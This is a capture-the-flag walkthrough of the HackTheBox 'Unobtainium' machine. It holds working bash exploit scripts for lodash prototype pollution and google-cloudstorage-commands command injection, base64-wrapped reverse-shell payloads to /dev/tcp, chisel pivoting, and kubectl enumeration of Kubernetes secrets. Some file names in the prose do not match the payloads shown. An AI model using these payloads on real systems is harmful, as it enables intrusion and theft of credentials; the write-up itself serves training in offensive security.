┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ls
unobtainium_debian.zip
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# unzip unobtainium_debian.zip 
Archive:  unobtainium_debian.zip
  inflating: unobtainium_1.0.0_amd64.deb  
 extracting: unobtainium_1.0.0_amd64.deb.md5sum  
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ls
unobtainium_1.0.0_amd64.deb  unobtainium_1.0.0_amd64.deb.md5sum  unobtainium_debian.zip
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# mkdir stuff
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# dpkg-deb -xv unobtainium_1.0.0_amd64.deb stuff
./
./usr/
./usr/share/
./usr/share/icons/
./usr/share/icons/hicolor/
./usr/share/icons/hicolor/32x32/
./usr/share/icons/hicolor/32x32/apps/
./usr/share/icons/hicolor/32x32/apps/unobtainium.png
./usr/share/icons/hicolor/48x48/
./usr/share/icons/hicolor/48x48/apps/
./usr/share/icons/hicolor/48x48/apps/unobtainium.png
./usr/share/icons/hicolor/256x256/
./usr/share/icons/hicolor/256x256/apps/
./usr/share/icons/hicolor/256x256/apps/unobtainium.png
./usr/share/icons/hicolor/128x128/
./usr/share/icons/hicolor/128x128/apps/
./usr/share/icons/hicolor/128x128/apps/unobtainium.png
...
```

Inside stuff/opt/unobtainium/ there is a executable called unobtainium

Let's run that

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium/stuff/opt/unobtainium]
└─# ls
chrome_100_percent.pak  libEGL.so             libvulkan.so            resources          unobtainium
chrome_200_percent.pak  libffmpeg.so          LICENSE.electron.txt    resources.pak      v8_context_snapshot.bin
chrome-sandbox          libGLESv2.so          LICENSES.chromium.html  snapshot_blob.bin  vk_swiftshader_icd.json
icudtl.dat              libvk_swiftshader.so  locales                 swiftshader
┌──(root💀kali)-[~/hackthebox/machine/unobtainium/stuff/opt/unobtainium]
└─# ./unobtainium --no-sandbox
(node:2278) electron: The default of contextIsolation is deprecated and will be changing from false to true in a future release of Electron.  See https://github.com/electron/electron/issues/23506 for more information
```

We got the error Unable to reach unobtainium.htb.

Let's add unobtainium.htb in our /etc/hosts file.

Let's again open the executable and this time we don't get error.

I think this executable contact to a server so for capture the packet i use wireshark on tun0.

And i am right when i click on Todo they send a POST req to the server.

Let's check what was capture inside this POST req.

request:

``` bash
POST /todo HTTP/1.1
Host: unobtainium.htb:31337
Connection: keep-alive
Content-Length: 73
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) unobtainium/1.0.0 Chrome/87.0.4280.141 Electron/11.2.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"todo.txt"}
```

response:

``` bash
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 293
ETag: W/"125-tNs2+nU0UiQGmLreBy4Pj891aVA"
Date: Fri, 23 Apr 2021 04:21:51 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{"ok":true,"content":"1. Create administrator zone.\n2. Update node JS API Server.\n3. Add Login functionality.\n4. Complete Get Messages feature.\n5. Complete ToDo feature.\n6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1\n7. Improve security\n"}
```

We got the creads.

It's seems like Todo function has the capability to read files from the server.

For the simplicity i wrote a script to check if we also read file from the server?.

I also run the burp for capture the req.

Before running the script install the requirements for the script.

``` bash
apt-get install jq
```

 - luci.sh

``` bash
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

CONTENT="$(curl -s \
                -A "${UA}" \
                -H "Content-Type: application/json" \
                -d "$(cat message.json | jq -c)" \
                -x "${PROXY}" \
                http://${RHOST}:${RPORT}/todo \
           | jq .content \
           | sed -e 's/^.//' -e 's/.$//')"

printf "$CONTENT"
```

Got the req let's send it to repeater and check the responce.

request:

``` bash
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 65

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":""}
```

responese:

``` bash
HTTP/1.1 500 Internal Server Error

X-Powered-By: Express

Content-Security-Policy: default-src 'self'

X-Content-Type-Options: nosniff

Content-Type: text/html; charset=utf-8

Content-Length: 922

Date: Fri, 23 Apr 2021 06:10:17 GMT

Connection: close



<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Error: ENOENT: no such file or directory, open<br>
&nbsp; &nbsp;at Object.openSync (fs.js:476:3)<br>
&nbsp; &nbsp;at Object.readFileSync (fs.js:377:35)<br>
&nbsp; &nbsp;at /usr/src/app/index.js:86:41<br>
&nbsp; &nbsp;at Array.forEach (&lt;anonymous&gt;)<br>
&nbsp; &nbsp;at /usr/src/app/index.js:84:36<br>
&nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br>
&nbsp; &nbsp;at next (/usr/src/app/node_modules/express/lib/router/route.js:137:13)<br>
&nbsp; &nbsp;at Route.dispatch (/usr/src/app/node_modules/express/lib/router/route.js:112:3)<br>
&nbsp; &nbsp;at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)<br>
&nbsp; &nbsp;at /usr/src/app/node_modules/express/lib/router/index.js:281:22</pre>
</body>
</html>
```

It's said No such file or directory found because we don't give any filename and we also see a interesting file called index.js.

Let's add index.js inside filename.

request:

``` bash
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 73

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}
```

responese:

``` bash
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 3655

ETag: W/"e47-um36vrYJPOpeanAA6s8aoKWsrsA"

Date: Fri, 23 Apr 2021 06:14:16 GMT

Connection: close



{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");     \nconst bodyParser = require('body-parser');     \nconst _ = require('lodash');                                                                  \nconst app = express();\nvar fs = require('fs');\n                                                                                              \nconst users = [                                                                               \n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},      \n];\n\nlet messages = [];                             \nlet lastId = 1;                                \n                                                                                              \nfunction findUser(auth) {                                                                     \n  return users.find((u) =>                                                                    \n    u.name === auth.name &&                                                                   \n    u.password === auth.password);                                                            \n}                                    \n                                               \napp.use(bodyParser.json());                                                                   \n                                               \napp.get('/', (req, res) => {                   \n  res.send(messages);                                                                         \n});                                                                                           \n                                                                                              \napp.put('/', (req, res) => {   \n  const user = findUser(req.body.auth || {});                                                 \n                                               \n  if (!user) {                                 \n    res.status(403).send({ok: false, error: 'Access denied'});                                \n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n\tconst user = findUser(req.body.auth || {});\n\tif (!user) {\n\t\tres.status(403).send({ok: false, error: 'Access denied'});\n\t\treturn;\n\t}\n\n\tfilename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
```

We got the index.js but it in bad format.

After Beautify the file we got this.

 - Index.js

``` bash
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
 {name: 'felamos', password: 'Winter2021'},
 {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
 return users.find((u) =>
 u.name === auth.name &&
 u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
 res.send(messages);
});

app.put('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 const message = {
 icon: '__',
 };

 _.merge(message, req.body.message, {
 id: lastId++,
 timestamp: Date.now(),
 userName: user.name,
 });

 messages.push(message);
 res.send({ok: true});
});

app.delete('/', (req, res) => {
 const user = findUser(req.body.auth || {});

 if (!user || !user.canDelete) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }

 messages = messages.filter((m) => m.id !== req.body.messageId);
 res.send({ok: true});
});
app.post('/upload', (req, res) => {
 const user = findUser(req.body.auth || {});
 if (!user || !user.canUpload) {
 res.status(403).send({ok: false, error: 'Access denied'});
 return;
 }


 filename = req.body.filename;
 root.upload("./",filename, true);
 res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
        const user = findUser(req.body.auth || {});
        if (!user) {
                res.status(403).send({ok: false, error: 'Access denied'});
                return;
        }

        filename = req.body.filename;
 testFolder = "/usr/src/app";
 fs.readdirSync(testFolder).forEach(file => {
 if (file.indexOf(filename) > -1) {
 var buffer = fs.readFileSync(filename).toString();
 res.send({ok: true, content: buffer});
 }
 });
});

app.listen(3000);
console.log('Listening on port 3000...');
```

After reading the file i found nothing interesting but i am sure that it's using react or nodejs or something like that if the server uses that so there is a file called package.json which has the list of npm packages used and we also find vulnerability for that specific packages.

request:

``` bash
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 77

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":"package.json"}
```

responese:

``` bash
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 487

ETag: W/"1e7-nNVooCaQU8RTLCaxUyITOmGY9A8"

Date: Fri, 23 Apr 2021 06:21:02 GMT

Connection: close



{"ok":true,"content":"{\n  \"name\": \"Unobtainium-Server\",\n  \"version\": \"1.0.0\",\n  \"description\": \"API Service for Electron client\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"start\": \"node index.js\"\n  },\n  \"author\": \"felamos\",\n  \"license\": \"ISC\",\n  \"dependencies\": {\n    \"body-parser\": \"1.18.3\",\n    \"express\": \"4.16.4\",\n    \"lodash\": \"4.17.4\",\n    \"google-cloudstorage-commands\": \"0.0.1\"\n  },\n  \"devDependencies\": {}\n}\n"}
```

After beautify the package.json and we got this

 - package.json

``` bash
{
  "name": "Unobtainium-Server",
  "version": "1.0.0",
  "description": "API Service for Electron client",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "author": "felamos",
  "license": "ISC",
  "dependencies": {
    "body-parser": "1.18.3",
    "express": "4.16.4",
    "lodash": "4.17.4",
    "google-cloudstorage-commands": "0.0.1"
  },
  "devDependencies": {}
}
```

 - [Prototype Pollution](https://snyk.io/vuln/SNYK-JS-LODASH-73638)
 - [Command Injection](https://snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431)


With the help of Lodash -> Prototype Pollution we give ourself a permission of upload & delete with changing canDelete and canUpload to be True.

And with help of google-cloudstorage-commands -> Command Injection We can execute commands on server.

So let's first give ourself a permission to upload file and delete files

For that i create a script to keep things simple.

 - Exploit.sh

``` bash
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .
```

Let's run the exploit

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# chmod +x Exploit.sh
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./Exploit.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'                                                             
{
  "ok": true
}
```

It's responce is true means now we have the permission.

Let's check we can write in a file or not.

I create another one exploit to write in a file.

 - exploit_stage2.sh

``` bash
#!/bin/bash

RHOST="unobtainium.htb"
RPORT=31337
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE="& echo dedsec | tee dedsec.txt"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"
```

The exploit write the content "lUc1f3r11" inside luci.txt.

Now let's run the exploit and capture the req in burp.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./exploit_stage2.sh
```

It's said true. it's means we should be able to read luci.txt and get the content lUc1f3r11 inside luci.txt.

Just change filename to dedsec.txt for view the content inside that.

request:

``` bash
POST /todo HTTP/1.1

Host: unobtainium.htb:31337

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: */*

Content-Type: application/json

Content-Length: 73

Connection: close



{"auth":{"name":"felamos","password":"Winter2021"},"filename":"luci.txt"}
```

responese:

``` bash
HTTP/1.1 200 OK

X-Powered-By: Express

Content-Type: application/json; charset=utf-8

Content-Length: 35

ETag: W/"23-jxpbX4j3xXL3aDkAakKEYbVg4Rc"

Date: Fri, 23 Apr 2021 06:50:52 GMT

Connection: close



{"ok":true,"content":"lUc1f3r11\n"}
```

And we see lUc1f3r11 inside luci.txt Now let's try to get reverse shell through that.

Just add the reverse shell inside filename.

Before send req start your netcat listner.

``` bash
POST /upload HTTP/1.1
Host: unobtainium.htb:31337
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Content-Type: application/json
Content-Length: 151
Connection: close

{"auth":{"name":"felamos","password":"Winter2021"},"filename":"& echo $(echo 'bash -i >& /dev/tcp/10.10.14.3/9001 0>&1' | base64) | base64 -d | bash"}
```

Let's check the netcat listner.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:57654.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-5d764566f4-h5zhw:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@webapp-deployment-5d764566f4-h5zhw:/usr/src/app# whoami
whoami
root
```

Boom we got the shell.

First Let's get our user.txt inside /root/.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:~# ls
ls
user.txt
root@webapp-deployment-5d764566f4-h5zhw:~# cat user.txt
cat user.txt
a6649836e48c4a2fef53804d75c1c1f3
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1930.jpg)

#### Privilege escalation

And if you notice we are root i think it's a docker container.

Anyway let's run linpeas.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1931.jpg)

there is a cronjob running that removes kubectl in the container every minute.

But there is no kubectl executable in the container.

Let's download a kubectl executable and transfer it in docker inside /tmp folder.

 - [Install and Set Up kubectl on Linux](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux)

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   154  100   154    0     0    107      0  0:00:01  0:00:01 --:--:--   107
100 44.2M  100 44.2M    0     0  2972k      0  0:00:15  0:00:15 --:--:-- 3193k
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ls
Exploit.sh         kubectl  message.json  unobtainium_1.0.0_amd64.deb         unobtainium_debian.zip
exploit_stage2.sh  luci.sh  stuff         unobtainium_1.0.0_amd64.deb.md5sum
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

We change the name of kubectl to xkubectl to avoid being removed by the cron job.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# wget http://10.10.14.3:8000/kubectl -o xkubectl

root@webapp-deployment-5d764566f4-h5zhw:/tmp# ls -la
ls -la
total 45364
drwxrwxrwt 1 root root     4096 Apr 23 07:25 .
drwxr-xr-x 1 root root     4096 Apr 22 19:28 ..
drwxr-xr-x 3 root root     4096 Feb 21 22:43 v8-compile-cache-0
-rw-r--r-- 1 root root 46436352 Apr 23 07:10 xkubectl
```

Now let's first check the version of kubectl.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl version --short
./xkubectl version --short
Client Version: v1.21.0
Server Version: v1.20.0
```

Now let’s see current rights with kubectl with privileged resources like secrets.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets
<66f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets
no
```

let's check about namespaces.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list namespaces
<4-h5zhw:/tmp# ./xkubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped
yes
```

Let’s list all the namespaces.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl get namespace
./xkubectl get namespace
NAME              STATUS   AGE
default           Active   96d
dev               Active   95d
kube-node-lease   Active   96d
kube-public       Active   96d
kube-system       Active   96d
```

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets -n dev
<zhw:/tmp# ./xkubectl auth can-i list secrets -n dev
no
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list secrets -n kube-system
<# ./xkubectl auth can-i list secrets -n kube-system
no
```

We don't have permission of any namespaces.

Let's check if we have permission of pods or not in the dev namespaces.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./xkubectl auth can-i list pods -n dev
<-h5zhw:/tmp# ./xkubectl auth can-i list pods -n dev
yes
root@webapp-deployment-5d764566f4-h5zhw:/tmp# 
./xkubectl get pods -n dev
NAME                                READY   STATUS    RESTARTS   AGE
devnode-deployment-cd86fb5c-6ms8d   1/1     Running   28         95d
devnode-deployment-cd86fb5c-mvrfz   1/1     Running   29         95d
devnode-deployment-cd86fb5c-qlxww   1/1     Running   29         95d
```

 - [Pods](https://kubernetes.io/docs/concepts/workloads/pods/)

A Kubernetes cluster can have one or more nodes. Each node can have one or more Pods. Each Pod can have one or more running containers.

And we see in the previous command there is three Pods each with a running container in the dev namespace.

Let's list the description of one of the Pods.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# .//xkubectl describe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
<scribe pod/devnode-deployment-cd86fb5c-6ms8d -n dev
Name:         devnode-deployment-cd86fb5c-6ms8d
Namespace:    dev
Priority:     0
Node:         unobtainium/10.10.10.235
Start Time:   Sun, 17 Jan 2021 18:16:21 +0000
Labels:       app=devnode
              pod-template-hash=cd86fb5c
Annotations:  <none>
Status:       Running
IP:           172.17.0.5
IPs:
  IP:           172.17.0.5
Controlled By:  ReplicaSet/devnode-deployment-cd86fb5c
Containers:
  devnode:
    Container ID:   docker://bf852df0b8a7e049a21983112b178bfd65a3e27180c7463b441a7de2aeb1aedb
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:f3bfd2fc13c7377a380e018279c6e9b647082ca590600672ff787e1bb918e37c
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Thu, 22 Apr 2021 19:28:37 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Wed, 24 Mar 2021 16:01:28 +0000
      Finished:     Wed, 24 Mar 2021 16:02:13 +0000
    Ready:          True
    Restart Count:  28
    Environment:    <none>
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-rmcd6 (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  default-token-rmcd6:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-rmcd6
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:          <none>
```

If you notice the difference i am in a webapp-deployment container enumerating devnode-deployment containers in Pods running in the dev namespace.

We are looking at two different environments, the classic production environment and the development environment. I should be able to repeat the steps i just have to make the RHOST and RPORT variables and upload them to the container I’m currently in above to get another foothold in the development environment.

For that we need to forward the port to the devnode-deployment container "172.17.0.5:3000"

I am using Chisel for that.

If you don't known how to use chisel or how to download it check this out.

 - [chisel](https://www.youtube.com/watch?v=Yp4oxoQIBAM&t=1469s)

First i run chisel in my kali linux to open a server.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./chisel server -p 9999 --reverse
2021/04/23 04:10:20 server: Reverse tunnelling enabled
2021/04/23 04:10:20 server: Fingerprint 2a:06:15:bf:71:4e:28:c7:fe:4e:bc:35:24:70:cb:09
2021/04/23 04:10:20 server: Listening on http://0.0.0.0:9999
```

Now transfer the chisel in box and and execute as client.

``` bash
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ls
ls
chisel
v8-compile-cache-0
xkubectl
root@webapp-deployment-5d764566f4-h5zhw:/tmp# chmod +x chisel
chmod +x chisel
root@webapp-deployment-5d764566f4-h5zhw:/tmp# ./chisel client 10.10.14.3:9999 R:3000:172.17.0.5:3000
<hisel client 10.10.14.3:9999 R:3000:172.17.0.5:3000
2021/04/23 08:14:50 client: Connecting to ws://10.10.14.3:9999
2021/04/23 08:14:52 client: Fingerprint 2a:06:15:bf:71:4e:28:c7:fe:4e:bc:35:24:70:cb:09
2021/04/23 08:14:55 client: Connected (Latency 653.764518ms)
```

Now we are connected let's give us permission for canDelete and canUpload.

I again made the script for give permissions devnode-deployment container.

 - read_write.sh

``` bash
#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
TEXT="$1"

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "message":
    {
        "text":${TEXT}
    }
}
EOF

curl -s \
     -X PUT \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     "http://${RHOST}:${RPORT}/" \
| jq .
```

Imp -> before running the exploit intercept the request and forward the req becuase we use proxy inside exploit.

Now we all set let's run the exploit.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./read_write.sh '{"constructor":{"prototype":{"canDelete":true, "canUpload":true}}}'
{
  "ok": true
}
```

For reverse shell i create another script.

 - rev.sh

``` bash
#!/bin/bash

RHOST="127.0.0.1"
RPORT=3000
UA="Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0"
PROXY="127.0.0.1:8080"
FILE=$1

cat - <<EOF > message.json
{
    "auth":
    {
        "name":"felamos",
        "password":"Winter2021"
    },
    "filename":"${FILE}"
}
EOF

curl -s \
     -A "${UA}" \
     -H "Content-Type: application/json" \
     -d "$(cat message.json | jq -c)" \
     -x "${PROXY}" \
     -o /dev/null \
     "http://${RHOST}:${RPORT}/upload"
```

Now let's get our reverse shell with devnode-deployment.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# chmod +x rev.sh
┌──(root💀kali)-[~/hackthebox/machine/unobtainium]
└─# ./rev.sh "& echo $(echo 'bash -i >& /dev/tcp/10.10.14.3/9002 0>&1' | base64) | base64 -d | bash"
```

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9002
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9002
Ncat: Listening on 0.0.0.0:9002
Ncat: Connection from 10.10.10.235.
Ncat: Connection from 10.10.10.235:48266.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# id
id
uid=0(root) gid=0(root) groups=0(root)
root@devnode-deployment-cd86fb5c-6ms8d:/usr/src/app# whoami 
whoami
root
```

Boom we got the shell as devnode-deployment.

Now again tranfer the kubectl executable in the box and check if we list secrets now.

``` bash
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# chmod +x kubectl
chmod +x kubectl
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl auth can-i list secrets -n kube-system
<p# ./kubectl auth can-i list secrets -n kube-system
yes
```

Yes we have the permission now Let get the secrets.

``` bash
root@devnode-deployment-cd86fb5c-6ms8d:/tmp# ./kubectl get secrets -n kube-system
<5c-6ms8d:/tmp# ./kubectl get secrets -n kube-system
NAME                                             TYPE                                  DATA   AGE
attachdetach-controller-token-5dkkr              kubernetes.io/service-account-token   3      96d
bootstrap-signer-token-xl4lg                     kubernetes.io/service-account-token   3      96d
c-admin-token-tfmp2                              kubernetes.io/service-account-token   3      95d
certificate-controller-token-thnxw               kubernetes.io/service-account-token   3      96d
clusterrole-aggregation-controller-token-scx4p   kubernetes.io/service-account-token   3      96d
coredns-token-dbp92                              kubernetes.io/service-account-token   3      96d
cronjob-controller-token-chrl7                   kubernetes.io/service-account-token   3      96d
daemon-set-controller-token-cb825                kubernetes.io/service-account-token   3      96d
default-token-l85f2                              kubernetes.io/service-account-token   3      96d
deployment-controller-token-cwgst                kubernetes.io/service-account-token   3      96d
disruption-controller-token-kpx2x                kubernetes.io/service-account-token   3      96d
endpoint-controller-token-2jzkv                  kubernetes.io/service-account-token   3      96d
endpointslice-controller-token-w4hwg             kubernetes.io/service-account-token   3      96d
endpointslicemirroring-controller-token-9qvzz    kubernetes.io/service-account-token   3      96d
expand-controller-token-sc9fw                    kubernetes.io/service-account-token   3      96d
generic-garbage-collector-token-2hng4            kubernetes.io/service-account-token   3      96d
horizontal-pod-autoscaler-token-6zhfs            kubernetes.io/service-account-token   3      96d
job-controller-token-h6kg8                       kubernetes.io/service-account-token   3      96d
kube-proxy-token-jc8kn                           kubernetes.io/service-account-token   3      96d
namespace-controller-token-2klzl                 kubernetes.io/service-account-token   3      96d
node-controller-token-k6p6v                      kubernetes.io/service-account-token   3      96d
persistent-volume-binder-token-fd292             kubernetes.io/service-account-token   3      96d
pod-garbage-collector-token-bjmrd                kubernetes.io/service-account-token   3      96d
pv-protection-controller-token-9669w             kubernetes.io/service-account-token   3      96d
pvc-protection-controller-token-w8m9r            kubernetes.io/service-account-token   3      96d
replicaset-controller-token-bzbt8                kubernetes.io/service-account-token   3      96d
replication-controller-token-jz8k8               kubernetes.io/service-account-token   3      96d
resourcequota-controller-token-wg7rr             kubernetes.io/service-account-token   3      96d
root-ca-cert-publisher-token-cnl86               kubernetes.io/service-account-token   3      96d
service-account-controller-token-44bfm           kubernetes.io/service-account-token   3      96d
service-controller-token-pzjnq                   kubernetes.io/service-account-token   3      96d
statefulset-controller-token-z2nsd               kubernetes.io/service-account-token   3      96d
storage-provisioner-token-tk5k5                  kubernetes.io/service-account-token   3      96d
token-cleaner-token-wjvf9                        kubernetes.io/service-account-token   3      96d
ttl-controller-token-z87px                       kubernetes.io/service-account-token   3      96d
```

If you see the third option Cluster Administrator -> c-admin-token-tfmp2 is the secret of the Cluster Administrator.

